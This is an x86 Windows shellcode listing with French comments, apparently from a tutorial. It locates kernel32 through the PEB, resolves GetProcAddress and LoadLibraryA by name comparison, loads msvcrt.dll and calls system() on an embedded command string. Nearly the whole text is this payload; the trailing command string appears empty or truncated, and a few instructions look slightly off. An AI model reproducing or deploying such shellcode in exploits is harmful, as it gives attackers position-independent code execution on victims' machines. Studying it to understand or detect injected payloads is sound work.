push ebp mov ebp,esp mov esp,ebp ; welcome home :) sub esp,0x20 ; Prepa de la pile push 0x30 pop edx mov edx,fs:[edx] ; Adresse de PEB (dans TEB) mov eax,[edx+0xc] ; PEB_LBR_DATA mov esi,[eax+0x1c] ; InitializationOrderModule mov eax,[esi] ; Liste chaînée mov edx,[eax+0x8] ; Deuxieme element mov [ebp-0x4],edx ; On le stocke dans la pile mov edx,[edx+0x3c] ; Récupération du header de PE add edx,[ebp-0x4] ; + Adresse de Base mov edx,[edx+0x78] ; Récupération de l’adresse de “export table” add edx,[ebp-0x4] ; + Base mov [ebp-0x8],edx ; Stockage dans la pile xor eax,eax mov [ebp-0xc],eax ; mise a zéro des variables mov [ebp-0x10],eax mov [ebp-0x14],eax mov [ebp-0x18],eax mov edx,[ebp-0x8] ; Adresse de export table add edx,0x20 ; Name table PTR mov edx,[edx] add edx,[ebp-0x4] ; + Base mov [ebp-0x18],edx ; On stocke dans notre variable jmp search_fct ; OK on cherche nos fonctions cassos: leave ret check_proc_addr: xor ecx, ecx cmp [ebp-0xc], ecx ; On vérifie qu’on a pas déjà: trouvé jne _return ; cette fonction mov ebx, [ebp-0x18] mov ebx, [ebx] ; adresse de la chaine add ebx, [ebp-0x4] ; +base cmp dword ptr [ebx], 'PteG' jne _return cmp dword ptr [ebx+0x4], 'Acor'; strcmp jne _return mov ecx, [ebp-0x14] ;Fonction trouvée mov [ebp-0xc], ecx ; Sauvegarde de l’index xor ecx, ecx test [ebp-0x10], ecx ; Si nous avons LoadLibrary jne next ; on va à la prochaine phase ret check_loadlib_addr: ; Même Algo que check_proc_addr xor ecx, ecx ; mais pour loadlib cmp [ebp-0x10], ecx ; Pas très optimisé mais bon … jne _return ; l’assembleur c’est compliqué :-) mov ebx, [ebp-0x18] mov ebx, [ebx] add ebx, [ebp-0x4] cmp dword ptr[ebx], 'daoL' jne _return cmp dword ptr [ebx+0x4], 'rbiL' jne _return mov ecx, [ebp-0x14] mov [ebp-0x10], ecx xor ecx, ecx cmp [ebp-0xc], ecx jne next ret search_fct: call check_proc_addr ; recheche de getprocaddr call check_loadlib_addr ; Recherche de LoadLibraryA add word ptr [ebp-0x18], 0x4 ; Adress++ add word ptr [ebp-0x14], 0x1 ; count++ jmp search_fct ; on boucle _return: ret next: mov ebx, [ebp-0xc] ; Transformation des index en adresse imul ebx, 0x4 ; relative mov [ebp-0xc], ebx ; Void (*fonction)() = mov ebx, [ebp-0x10] ; address table RVA + (index * 4). imul ebx, 0x4 mov [ebp-0x10], ebx mov ebx, [ebp-0x8] add ebx, 0x1c mov ebx, [ebx] add ebx, [ebp-0x4] ; + Adresse de base de export table mov ecx, ebx add ecx, [ebp-0xc] mov ecx, [ecx] add ecx, [ebp-0x4] mov [ebp-0xc], ecx ; adress of GetProcAddress fct mov ecx, ebx add ecx, [ebp-0x10] mov ecx, [ecx] add ecx, [ebp-0x4] mov [ebp-0x10], ecx ; address of LoadLibraryA fct jmp end_shell put_zero: ; remplace le caractère ‘\n’ par 0x0 inc ecx mov bh, [ecx] cmp bh , 0xa ; \n jne put_zero xor ebx, ebx mov byte ptr [ecx], bl ret begin_shell: pop edi ; on pointe dans la chaine de caractè:re xor ebx, ebx mov byte ptr [edi+0xa], bl ; On remplace les A par 0x0 mov byte ptr [edi+0x11], bl ; Aux deux endroits définis mov ecx, edi add ecx,0x12 call put_zero ; On appel la fonction put_zero xor ebx, ebx ; qui finira la chaine par \x0 push edi ; Push de MSVCRT.dll call [ebp-0x10] ; appel de LoadLibraryA cmp eax, ebx ; On vérifie le résultat je cassos add edi, 0xb push edi ; push de la chaine de caractè:re system push eax ; Push de l’adresse de MSVCRT.dll call [ebp-0x0c] ; Appel de GetProcAddress avec ces paramè:tres cmp eax, ebx ; On vérifie le résultat je cassos add edi, 0x7 ; On pointe sur notre commande push edi ; On push l’adresse call eax ; Appel de system leave ; Sortie propre ret ; quoique jamais atteinte end_shell: call begin_shell ; pour stocker l’adresse de la chaine de caractère . string ""msvcrt.dllAsystemA"